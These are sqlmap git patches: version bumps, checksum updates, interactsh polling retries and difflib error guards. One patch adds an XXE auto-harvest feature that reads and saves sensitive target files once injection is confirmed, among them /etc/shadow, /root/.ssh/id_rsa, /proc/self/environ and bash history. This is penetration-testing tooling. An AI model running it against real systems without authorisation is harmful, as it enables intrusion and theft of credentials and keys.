92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py
@@ -613,7 +613,7 @@ fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dia
41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py
993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py
62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py
-a9db98cbb4d16c42118fb6f612edd5bfedc77298e38d06d50e7ecc2faaa7fdc1 tests/test_dns_server.py
+6047483d7fb41e0dbf4b067394d8a9e2b39b99faf473db963de6f2f67c052b03 tests/test_dns_server.py
3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py
118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py
2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 0f81eefb9..33ef2afb9 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.26"
+VERSION = "1.10.7.27"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/request/dns.py b/lib/request/dns.py
index 5b7082508..f97d7cf60 100644
--- a/lib/request/dns.py
+++ b/lib/request/dns.py
@@ -235,6 +235,9 @@ class InteractshDNSServer(object):
is a drop-in for conf.dnsServer.
"""
+ _POLL_TRIES = 6 # a triggered lookup surfaces at interactsh within a couple of seconds;
+ _POLL_DELAY = 1.0 # poll up to ~6s per retrieval before treating the channel as silent
+
def __init__(self, server=None):
from lib.request.interactsh import Interactsh, hasCrypto
@@ -259,25 +262,30 @@ class InteractshDNSServer(object):
"""
Returns a captured DNS lookup name matching the given prefix/suffix
(prefix..suffix.), mirroring DNSServer.pop().
+
+ Unlike the synchronous local DNSServer (which reads a query captured during the
+ very request), interactsh is remote and eventually-consistent: a just-triggered
+ lookup takes a moment to reach the collector and surface via its poll API. So we
+ poll a few times before giving up, instead of reading once.
"""
- retVal = None
+ for attempt in range(self._POLL_TRIES):
+ for name in self._client.dnsNames():
+ if name in self._seen:
+ continue
- for name in self._client.dnsNames():
- if name in self._seen:
- continue
+ if prefix is None and suffix is None:
+ self._seen.add(name)
+ return name
- if prefix is None and suffix is None:
- self._seen.add(name)
- retVal = name
- break
+ if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I):
+ self._seen.add(name)
+ return name
- if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I):
- self._seen.add(name)
- retVal = name
- break
+ if attempt < self._POLL_TRIES - 1:
+ time.sleep(self._POLL_DELAY)
- return retVal
+ return None
if __name__ == "__main__":
server = None
diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py
index 234781297..918e54659 100644
--- a/tests/test_dns_server.py
+++ b/tests/test_dns_server.py
@@ -342,6 +342,7 @@ class TestInteractshDNSServer(unittest.TestCase):
srv._seen = set()
srv._running = True
srv._initialized = True
+ srv._POLL_TRIES = 1 # no real sleeps in unit tests
return srv
def test_pop_matches_prefix_suffix_and_dedups(self):
From 3b3a822e3202ddf549618079327afd1e92f2cf51 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miroslav=20=C5=A0tampar?=
Date: Sat, 4 Jul 2026 13:00:19 +0200
Subject: [PATCH 28/30] Minor update
---
data/txt/sha256sums.txt | 4 ++--
lib/core/settings.py | 2 +-
lib/parse/cmdline.py | 2 +-
3 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index a2ee55d01..a8c4b6d74 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
-415708a1c10d98f964bc34ddd8dd597ec0ebb216a6e3f3aad391d9283d499f89 lib/core/settings.py
+2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py
@@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc
2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py
54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py
-6d2b663807178b4eed0060ed22cde5a94d1b63b7f1ce54e401f709acfd2344c0 lib/parse/cmdline.py
+c9d38a60a85691cdb540e33510dd16228d6afcce0fd2ba39780f71b6da57ebb5 lib/parse/cmdline.py
925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py
c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py
5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 33ef2afb9..e48c980ad 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.27"
+VERSION = "1.10.7.28"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index d70b1001d..3bfe55d59 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -794,7 +794,7 @@ def cmdLineParser(argv=None):
help="Test for XML External Entity (XXE) injection")
nonsql.add_argument("--oob-server", dest="oobServer",
- help="Out-of-band server for blind '--xxe' (default: public interactsh; 'none' to disable OOB)")
+ help="Out-of-band server for blind '--xxe'")
nonsql.add_argument("--oob-token", dest="oobToken",
help="Authentication token for a self-hosted '--oob-server'")
From 3bab3cd795d60dd76439d3e53577a638ca43a2b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miroslav=20=C5=A0tampar?=
Date: Sat, 4 Jul 2026 13:35:00 +0200
Subject: [PATCH 29/30] Minor update
---
data/txt/sha256sums.txt | 8 +--
lib/core/settings.py | 28 +++++++-
lib/core/target.py | 2 +-
lib/techniques/xxe/inject.py | 123 ++++++++++++++++++++++++++---------
tests/test_xxe.py | 30 ++++++++-
5 files changed, 152 insertions(+), 39 deletions(-)
diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index a8c4b6d74..98118d629 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -189,10 +189,10 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
-2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py
+f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
-15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py
+69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py
95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py
b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
@@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
-e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py
+b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
@@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use
93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py
81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py
9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py
-b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py
+db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py
diff --git a/lib/core/settings.py b/lib/core/settings.py
index e48c980ad..889e36e59 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.28"
+VERSION = "1.10.7.29"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1121,6 +1121,32 @@ XXE_IMPACT_FILES = (
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
)
+# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
+# this curated set of high-value, fixed-path files (host identity, process env/
+# secrets, key material) - the XXE analogue of the automatic dumping the other
+# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
+# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
+# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
+# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
+# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
+XXE_FILE_HARVEST = (
+ "/etc/passwd",
+ "/etc/hostname",
+ "/etc/hosts",
+ "/etc/os-release",
+ "/etc/shadow",
+ "/etc/group",
+ "/proc/self/environ",
+ "/proc/self/cmdline",
+ "/proc/self/status",
+ "/proc/version",
+ "/root/.bash_history",
+ "/root/.ssh/id_rsa",
+ "c:/windows/win.ini",
+ "c:/windows/system32/drivers/etc/hosts",
+ "c:/inetpub/wwwroot/web.config",
+)
+
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
diff --git a/lib/core/target.py b/lib/core/target.py
index a74955b71..0aff96161 100644
--- a/lib/core/target.py
+++ b/lib/core/target.py
@@ -618,7 +618,7 @@ def _createFilesDir():
Create the file directory.
"""
- if not any((conf.fileRead, conf.commonFiles)):
+ if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
return
# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)
diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py
index f6d7432cb..2de1ee4fc 100644
--- a/lib/techniques/xxe/inject.py
+++ b/lib/techniques/xxe/inject.py
@@ -26,6 +26,7 @@ from lib.core.enums import HTTPMETHOD
from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import XXE_BLACKHOLE_HOST
from lib.core.settings import XXE_ERROR_SIGNATURES
+from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES
from lib.core.settings import OOB_POLL_ATTEMPTS
@@ -229,21 +230,50 @@ def _echoed(page):
def _report(title, payload):
if conf.beep:
beep()
- place = "%s XML body" % (conf.method or HTTPMETHOD.POST)
- conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
+ place = conf.method or HTTPMETHOD.POST
+ conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
+
+
+def _saveFileRead(remoteFile, content):
+ """Save an XXE-read file to the output directory (parity with '--file-read') and
+ return its local path, or None if it could not be written."""
+ try:
+ return dataToOutFile(remoteFile, getBytes(content))
+ except Exception as ex:
+ logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
+ return None
def _dumpFileRead(remoteFile, content):
- """Save an XXE-read file to the output directory (parity with '--file-read') and
- list it; fall back to a console dump if the file cannot be written."""
- try:
- localPath = dataToOutFile(remoteFile, getBytes(content))
- if localPath:
- conf.dumper.rFile([localPath])
- return
- except Exception as ex:
- logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
- conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
+ """Save a single XXE-read file and list it; fall back to a console dump if the
+ file cannot be written."""
+ localPath = _saveFileRead(remoteFile, content)
+ if localPath:
+ conf.dumper.rFile([localPath])
+ else:
+ conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
+
+
+def _harvestFiles(xml, rootName):
+ """Proactive, best-effort file harvest run once an in-band XXE read primitive is
+ confirmed: pull a curated set of high-value fixed-path files (host identity,
+ process env/secrets, key material) the way the other non-SQL engines auto-dump
+ their reachable data. Returns a list of (path, content, payload) for every file
+ that read back non-empty; unreadable/absent files are silently skipped. Content is
+ de-duplicated so a parser that resolves every missing path to the same stub cannot
+ masquerade as many distinct reads."""
+
+ harvested = []
+ seen = set()
+ for path in XXE_FILE_HARVEST:
+ content, payload = _tryInbandFileRead(xml, rootName, path)
+ if content and content.strip():
+ key = content.strip()
+ if key in seen:
+ continue
+ seen.add(key)
+ harvested.append((path, content, payload))
+ return harvested
def _tryInternal(xml, rootName, baseline):
@@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName):
entity between two random markers so the exact file content can be sliced out
of the response regardless of surrounding template. Raw file:// works for text
files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
- the file content or None."""
+ (content, payload) or (None, None)."""
from lib.core.convert import decodeBase64
@@ -303,13 +333,13 @@ def _tryInbandFileRead(xml, rootName, fileName):
except Exception:
continue
if data and data.strip():
- return data
- return None
+ return data, payload
+ return None, None
def _tryExternalFile(xml, rootName, baseline):
"""Impact demonstration once XXE is live: read a benign host-identity file via
- an external general entity. Returns (systemId, snippet) on a confirmed read."""
+ an external general entity. Returns (systemId, payload) on a confirmed read."""
for systemId, pattern in XXE_IMPACT_FILES:
ent = randomStr(length=8, lowercase=True)
@@ -317,7 +347,7 @@ def _tryExternalFile(xml, rootName, baseline):
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
snippet = _confirmRead(_send(payload), pattern, baseline)
if snippet:
- return systemId, snippet
+ return systemId, payload
return None, None
@@ -639,8 +669,9 @@ def xxeScan():
_OOB_CONSENT = None
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
- debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration "
- debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored"
+ debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
+ debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches "
+ debugMsg += "(--banner, --dbs, --tables, --dump) are ignored"
logger.debug(debugMsg)
xml = _cleanBody()
@@ -661,31 +692,59 @@ def xxeScan():
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
# processes entities but is NOT yet file-read impact, so it deliberately does NOT
- # set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still
- # run to try to upgrade a mere "expansion confirmed" into actual file-read impact.
+ # set `found` on its own - we first try to UPGRADE it to real file-read impact and
+ # then emit a SINGLE report block with the strongest confirmed vector and its real
+ # payload (one report per finding, as with the other non-SQL engines). The internal
+ # expansion is only reported on its own when no external-entity read is reachable.
payload, page = _tryInternal(xml, rootName, baseline)
if payload:
expansionSeen = True
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
- _report("In-band DTD/internal entity expansion", payload)
if conf.get("fileRead"):
- content = _tryInbandFileRead(xml, rootName, conf.fileRead)
+ content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead)
if content:
found = True
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
- _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead)
+ _report("In-band file read ('%s')" % conf.fileRead, readPayload)
_dumpFileRead(conf.fileRead, content)
else:
- # benign, in-band impact demonstration (data stays in the response, no third party)
- systemId, snippet = _tryExternalFile(xml, rootName, baseline)
- if not systemId:
- snippet = _tryPhpFilter(xml, rootName, baseline)
- systemId = "php://filter" if snippet else None
- if systemId:
+ # No targeted '--file-read': proactively harvest a curated set of high-value
+ # files (data stays in the response, no third party) - the XXE analogue of
+ # the automatic dumping the other non-SQL engines do once confirmed.
+ harvested = _harvestFiles(xml, rootName)
+ if harvested:
found = True
- logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
- _report("In-band file-read impact (external entity '%s')" % systemId, "")
+ firstPath, _, firstPayload = harvested[0]
+ logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
+ _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
+ saved = []
+ for path, content, _ in harvested:
+ logger.info("read remote file '%s' (%d bytes)" % (path, len(content)))
+ localPath = _saveFileRead(path, content)
+ if localPath:
+ saved.append(localPath)
+ else:
+ conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content))
+ if saved:
+ conf.dumper.rFile(saved)
+ else:
+ # Harvest read nothing (content relocated in the response, or only benign
+ # host-identity is exposed): fall back to the pattern-based impact proof
+ # so file-read impact is still confirmed.
+ systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
+ if not systemId:
+ readPayload = _tryPhpFilter(xml, rootName, baseline)
+ systemId = "php://filter" if readPayload else None
+ if systemId:
+ found = True
+ logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
+ _report("In-band file-read impact (external entity '%s')" % systemId, readPayload)
+
+ if not found:
+ # external entities are disabled (only internal expansion is reachable):
+ # report that weaker-but-real finding with its actual payload
+ _report("In-band DTD/internal entity expansion", payload)
# T3: error-based (works where entities are not reflected but errors leak). A
# redundant detection channel once in-band reflection was already seen, so it is
diff --git a/tests/test_xxe.py b/tests/test_xxe.py
index 8c46873c8..736f8ece0 100644
--- a/tests/test_xxe.py
+++ b/tests/test_xxe.py
@@ -239,7 +239,35 @@ class TestReportMethod(unittest.TestCase):
xxe._report("Title", "Payload")
finally:
conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep
- self.assertIn("PUT XML body", captured[0])
+ self.assertIn("Parameter: XML body (PUT)", captured[0])
+
+
+class TestHarvestFiles(unittest.TestCase):
+ def test_harvest_collects_dedups_and_skips_empty(self):
+ # simulate a target that returns real content for two files, an empty read for
+ # one (skipped), and an identical stub for the rest (deduped to a single entry)
+ def _fake(xml, rootName, path):
+ if path == "/etc/passwd":
+ return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd"
+ if path == "/etc/hostname":
+ return "host01\n", "PAYLOAD-hostname"
+ if path == "/etc/hosts":
+ return " ", "PAYLOAD-empty" # whitespace-only -> skipped
+ return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped
+
+ old = xxe._tryInbandFileRead
+ xxe._tryInbandFileRead = _fake
+ try:
+ harvested = xxe._harvestFiles("x", "user")
+ finally:
+ xxe._tryInbandFileRead = old
+
+ paths = [p for p, _, _ in harvested]
+ self.assertIn("/etc/passwd", paths)
+ self.assertIn("/etc/hostname", paths)
+ self.assertNotIn("/etc/hosts", paths) # empty read skipped
+ self.assertEqual(paths.count("/etc/passwd"), 1)
+ self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped
class TestOobBase64Capture(unittest.TestCase):
From 6597415ab056c2587489faaa0d285d12f6b1a333 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miroslav=20=C5=A0tampar?=
Date: Sat, 4 Jul 2026 21:45:42 +0200
Subject: [PATCH 30/30] Minor update
---
data/txt/sha256sums.txt | 8 ++--
lib/controller/checks.py | 4 +-
lib/core/common.py | 20 ++++++++--
lib/core/settings.py | 29 ++++++++++----
lib/techniques/xxe/inject.py | 77 +++++++++++++++++++++++++++++++++++-
5 files changed, 121 insertions(+), 17 deletions(-)
diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index 98118d629..d3fe8eadd 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py
a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py
-0d1072ac052b65fca6da9975238b6f8816bc78603631b68ada4c7aea97f060e4 lib/controller/checks.py
+ce1f56cd5abcbb71a1074e7fe198de5d6e75353ed3eb1084f6cac657118df8cb lib/controller/checks.py
00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py
d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py
c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py
-c230a214023a6556648e6af485b42fbcd10f23d2cb9018ad7bc68e36f7241328 lib/core/common.py
+19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py
8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py
5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
@@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
-f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py
+df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
@@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
-b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py
+97f3ea4342b11d57cf3bb25e2ba50dc5f561bc595c6c09eebcc2ed921d096a1f lib/techniques/xxe/inject.py
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index a83a5f2cf..a33fd421f 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -1283,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage):
seqMatcher.set_seq1(firstPage)
seqMatcher.set_seq2(secondPage)
ratio = seqMatcher.quick_ratio()
- except MemoryError:
+ except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
+ # difflib can fail on pathological input or, rarely, with interpreter-level
+ # errors under heavy threading; degrade to "undetermined" instead of crashing
ratio = None
if ratio is None:
diff --git a/lib/core/common.py b/lib/core/common.py
index 9a86af8cd..4c4a4d307 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -2344,9 +2344,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
infoMsg = "static words: "
if firstPage and secondPage:
- match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
- commonText = firstPage[match[0]:match[0] + match[2]]
- commonWords = getPageWordSet(commonText)
+ try:
+ match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
+ commonText = firstPage[match[0]:match[0] + match[2]]
+ commonWords = getPageWordSet(commonText)
+ except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
+ # difflib can fail on pathological input / interpreter-level hiccups; skip
+ # the static-word hint rather than abort (see findDynamicContent / comparison.py)
+ commonWords = None
else:
commonWords = None
@@ -3363,7 +3368,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
infoMsg = "searching for dynamic content"
singleTimeLogMessage(infoMsg)
- blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
+ try:
+ blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
+ except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
+ # difflib can blow up on pathological/oversized input (and, rarely, with
+ # interpreter-level errors under heavy threading); a failed dynamic-content
+ # search must degrade gracefully rather than abort the whole scan - mirrors the
+ # guard around the ratio computation in lib/request/comparison.py
+ return
if not merge:
kb.dynamicMarkings = []
